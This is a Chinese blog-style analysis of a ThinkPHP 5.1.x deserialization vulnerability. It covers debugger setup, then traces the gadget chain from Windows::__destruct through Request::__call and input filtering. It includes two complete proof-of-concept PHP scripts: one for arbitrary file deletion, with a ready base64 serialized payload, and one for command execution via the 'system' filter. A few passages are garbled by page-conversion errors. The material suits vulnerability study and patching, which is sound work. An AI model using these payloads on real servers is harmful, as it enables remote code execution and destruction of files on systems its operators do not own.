配置xdebug
php.ini
[Xdebug]
zend_extension=D:/phpstudy_pro/Extensions/php/php7.3.4nts/ext/php_xdebug.dll
xdebug.mode=debug
xdebug.start_with_request=yes
xdebug.client_host=127.0.0.1
xdebug.client_port=9000
xdebug.idekey = PHPSTORM
配置phpstorm中的CLI解釋器、本地服務(wù)器、調(diào)試的端口、DBGp代理以及phpstudy中的版本、擴(kuò)展
配置防調(diào)試超時(shí)
1.打開apache配置文件注釋掉如下,并添加一行。
# Various default settings
Include conf/extra/httpd-default.conf 將注釋去掉
Include conf/extra/httpd-fcgid.conf 添加此行
2. 更改httpd-default.conf如下內(nèi)容
# Timeout: The number of seconds before receives and sends time out.
#
Timeout 3600
#
# KeepAlive: Whether or not to allow persistent connections (more than
# one request per connection). Set to "Off" to deactivate.
#
KeepAlive On
#
# MaxKeepAliveRequests: The maximum number of requests to allow
# during a persistent connection. Set to 0 to allow an unlimited amount.
# We recommend you leave this number high, for maximum performance.
#
MaxKeepAliveRequests 0
#
# KeepAliveTimeout: Number of seconds to wait for the next request from the
# same client on the same connection.
#
KeepAliveTimeout 3600
3.更改php.ini如下內(nèi)容
max_execution_time = 3600
; Maximum amount of time each script may spend parsing request data. It's a good
; idea to limit this time on productions servers in order to eliminate unexpectedly
; long running scripts.
4.在extra目錄下創(chuàng)建httpd-fcgid.conf,寫入如下內(nèi)容。
ProcessLifeTime 3600
FcgidIOTimeout 3600
FcgidConnectTimeout 3600
FcgidOutputBufferSize 128
FcgidMaxRequestsPerProcess 1000
FcgidMinProcessesPerClass 0
FcgidMaxProcesses 16
FcgidMaxRequestLen 268435456
FcgidInitialEnv PHP_FCGI_MAX_REQUESTS 1000
IPCConnectTimeout 3600
IPCCommTimeout 3600
FcgidIdleTimeout 3600
FcgidBusyTimeout 60000
FcgidBusyScanInterval 120
FcgidInitialEnv PHPRC "D:\phpstudy_pro\Extensions\php\php7.3.4nts"
AddHandler fcgid-script .php
反序列化漏洞
測試版本5.1.37
適用版本5.1.16-5.1.40
利用鏈
think\process\pipes\Windows ?__destruct?removeFiles?file_exists?__toString
think\model\concern\Conversion?__toString?toJson?toArray
thinkphp\library\think\Request?__call?isAjax?parma?input?filterValue
詳細(xì)分析
修改控制器
<?php
namespace app\index\controller;
class Index {
public function index() {
unserialize(base64_decode($_GET['id'])); return "Welcome!";
}
}
查找入口__destruct,進(jìn)入windows類
public function __destruct()
{
$this->close();
$this->removeFiles();
}
查看removeFiles方法
private function removeFiles()
{
foreach ($this->files as $filename) {
if (file_exists($filename)) {
@unlink($filename);
}
}
$this->files = [];
}
poc1(任意文件刪除)
<?php
namespace think\process\pipes;
class Pipes{}
class Windows extends Pipes{
private $files = ['D:\phpstudy_pro\WWW\v5.1.37\a.txt'];
//這里一定要絕對路徑
}
$a=new Windows();
echo base64_encode(serialize($a));
TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtzOjMzOiJEOlxwaHBzdHVkeV9wcm9cV1dXXHY1LjEuMzdcYS50eHQiO319
查找__toString
removeFiles方法里面使用了file_exists($filename)
, $filename變量可控,傳入一個(gè)對象則會調(diào)用對象的__toString方法將對象轉(zhuǎn)換成字符串再判斷, 查找可利用的toString,找到think\model\concern\Conversion類
public function __toString()
{
return $this->toJson();
}
public function toJson($options = JSON_UNESCAPED_UNICODE)
{
return json_encode($this->toArray(), $options);
}
public function toArray()
{
$item = [];
$hasVisible = false;
...
if (!empty($this->append)) {
foreach ($this->append as $key => $name) {
if (is_array($name)) {
// 追加關(guān)聯(lián)對象屬性
$relation = $this->getRelation($key);
if (!$relation) {
$relation = $this->getAttr($key);
if ($relation) {
$relation->visible($name);
}
}
...
}
if里的relation不為空,進(jìn)入第二個(gè)if后先跟進(jìn)getAttr,又調(diào)用了getData(),getData(),這里 $this->data可控
public function getAttr($name, &$item = null)
{
try {
$notFound = false;
$value = $this->getData($name);
} catch (InvalidArgumentException $e) {
$notFound = true;
$value = null;
}
...
return $value;
public function getData($name = null)
{
if (is_null($name)) {
return $this->data;
} elseif (array_key_exists($name, $this->data)) {
return $this->data[$name];
自此,relation->visible($name) 變成了:可控類->visible(可控變量)
接下來的思路就是找 可利用的visible()
方法 或者 可利用的 __call()
這里有一個(gè)細(xì)節(jié),使用__call代替visible時(shí),visible會作為KaTeX parse error: Expected group after '_' at position 9: method傳入_?_call方法,name則傳入args
一般PHP中的__call方法都是用來進(jìn)行容錯(cuò)或者是動態(tài)調(diào)用,所以一般會在__call方法中使用
__call_user_func($method, $args)
__call_user_func_array([$obj,$method], $args)
但是 public function __call($method, $args) 我們只能控制 $args,所以很多類都不可以用
經(jīng)過查找發(fā)現(xiàn) think-5.1.37/thinkphp/library/think/Request.php 中的 __call使用array取值
thinkphp\library\think\Request
public function __call($method, $args)
{
if (array_key_exists($method, $this->hook)) {
array_unshift($args, $this);
return call_user_func_array($this->hook[$method], $args);
}
//call_user_func_array([$obj,"任意方法"],[$this,任意參數(shù)])
//也就是
//$obj->$func($this,$argv)
這里的method是前面?zhèn)鬟f過來的visible,?this->hook可控,因此只需要設(shè)置this->hook=[“visible”=>”任意方法”]就能使這里的call_user_func_array(this->hook[method], args); 相當(dāng)于call_user_func_array(‘任意方法’, args);
這里有個(gè) array_unshift(args, ?this); 會把this放到?arg數(shù)組的第一個(gè)元素
開始尋找不受this對象影響的方法
這種情況是很難執(zhí)行命令的,但是Thinkphp作為一個(gè)web框架, Request類中有一個(gè)特殊的功能就是過濾器 filter(ThinkPHP的多個(gè)遠(yuǎn)程代碼執(zhí)行都是出自此處) 所以可以嘗試覆蓋filter的方法去執(zhí)行代碼 尋找使用了過濾器的所有方法 發(fā)現(xiàn)input()函數(shù)滿足條件,但是在
input()
中會對$name
進(jìn)行強(qiáng)轉(zhuǎn)$name = (string) $name;
傳入對象會直接報(bào)錯(cuò),所以使用 ide 對其進(jìn)行回溯,查找調(diào)用input()
的方法
public function input($data = [], $name = '', $default = null, $filter = '')
{
...
$name = (string) $name;
if ('' != $name) {
// 解析name
if (strpos($name, '/')) {
list($name, $type) = explode('/', $name);
}
//從數(shù)組$data中獲取鍵為$name的value作為$data的新值,這個(gè)value必須是數(shù)組
$data = $this->getData($data, $name);
...
if (is_object($data)) {//$data不能是對象
return $data;
}
}
// 解析過濾器
//getFilter方法里如果 $filter = false 則 $filter = $this->filter;因此$filter可控
$filter = $this->getFilter($filter, $default);
if (is_array($data)) {
array_walk_recursive($data, [$this, 'filterValue'], $filter);
...
} else {
$this->filterValue($data, $name, $filter);
}
...
return $data;
}
繼續(xù)查找調(diào)用input方法的的函數(shù)
param方法第一個(gè)參數(shù)可控,從這里入手
public function param($name = '', $default = null, $filter = '')
{
if (!$this->mergeParam) {
...
}
if (true === $name) {
...
}
return $this->input($this->param, $name, $default, $filter);
}
在 function param($name = '', $default = null, $filter = '')
的回溯中發(fā)現(xiàn) isAjax()
和 isPjax()
中 $this->config['var_ajax']
是可控的,那么 input()
的第一個(gè)參數(shù)也是可控的,由于只給 input()
傳了一個(gè)參數(shù),其 $name
默認(rèn)為空,調(diào)用鏈完成
public function isAjax($ajax = false)
{
$value = $this->server('HTTP_X_REQUESTED_WITH');
$result = 'xmlhttprequest' == strtolower($value) ? true : false;
if (true === $ajax) {
return $result;
}
$result = $this->param($this->config['var_ajax']) ? true : $result;
$this->mergeParam = false;
return $result;
}
poc2(任意命令執(zhí)行)
<?php
namespace think;
abstract class Model{
protected $append = [];
private $data = [];
function __construct(){
$this->append = ["poc"=>[" "," "]];
$this->data = ["poc"=>new Request()];
}
}
class Request
{
protected $hook = [];
protected $filter = "system";
protected $mergeParam=true;
protected $param = [];
protected $config = [
// 表單請求類型偽裝變量
'var_method' => '_method',
// 表單ajax偽裝變量
'var_ajax' => '_ajax',
// 表單pjax偽裝變量
'var_pjax' => '_pjax',
// PATHINFO變量名 用于兼容模式
'var_pathinfo' => 's',
// 兼容PATH_INFO獲取
'pathinfo_fetch' => ['ORIG_PATH_INFO', 'REDIRECT_PATH_INFO', 'REDIRECT_URL'],
// 默認(rèn)全局過濾方法 用逗號分隔多個(gè)
'default_filter' => '',
// 域名根,如thinkphp.cn
'url_domain_root' => '',
// HTTPS代理標(biāo)識
'https_agent_name' => '',
// IP代理獲取標(biāo)識
'http_agent_ip' => 'HTTP_X_REAL_IP',
// URL偽靜態(tài)后綴
'url_html_suffix' => 'html',
];
function __construct(){
$this->filter = "system";//回調(diào)時(shí)調(diào)用的PHP函數(shù)
$this->config = ["var_ajax"=>''];//在isAjax方法傳遞給param方法的$name繞過param方法的一些操作,但主要是為了繞過input方法里面對$data的改變
$this->hook = ["visible"=>[$this,"isAjax"]];//在__call里面調(diào)用isAjax
$this->mergeParam=true;//繞過param方法里的一些操作
$this->param=["calc",""];//input方法的$data,也是即將執(zhí)行的命令
}
}
namespace think\process\pipes;
use think\model\concern\Conversion;
use think\model\Pivot;
class Windows
{
private $files = [];
public function __construct()
{
$this->files=[new Pivot()];
}
}
namespace think\model;
use think\Model;
class Pivot extends Model
{
}
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
?>
補(bǔ)充代碼
__call( m e t h o d , method, method,arguments)
<?php
class Test
{
// function __destruct(){
// echo "coleak1";
// }
function __call($method,$arguments)
{
echo "__call" .PHP_EOL. $method.PHP_EOL;
print_r($arguments);
}
}
$a=new Test();
$a->acdads('aaaaa');
__call
acdads
Array
(
[0] => aaaaa
)
array_unshift
<?php
$a=array("a"=>"red","b"=>"green");
array_unshift($a,"blue");
print_r($a);
?>
Array
(
[0] => blue
[a] => red
[b] => green
)
call_user_func_array文章來源:http://www.zghlxwxcb.cn/news/detail-510262.html
<?php
$a=['whoami','ipconfig'];
$b='system';
call_user_func_array($b,$a);
coleak\admin文章來源地址http://www.zghlxwxcb.cn/news/detail-510262.html
到了這里,關(guān)于thinkphp 反序列化漏洞的文章就介紹完了。如果您還想了解更多內(nèi)容,請?jiān)谟疑辖撬阉鱐OY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!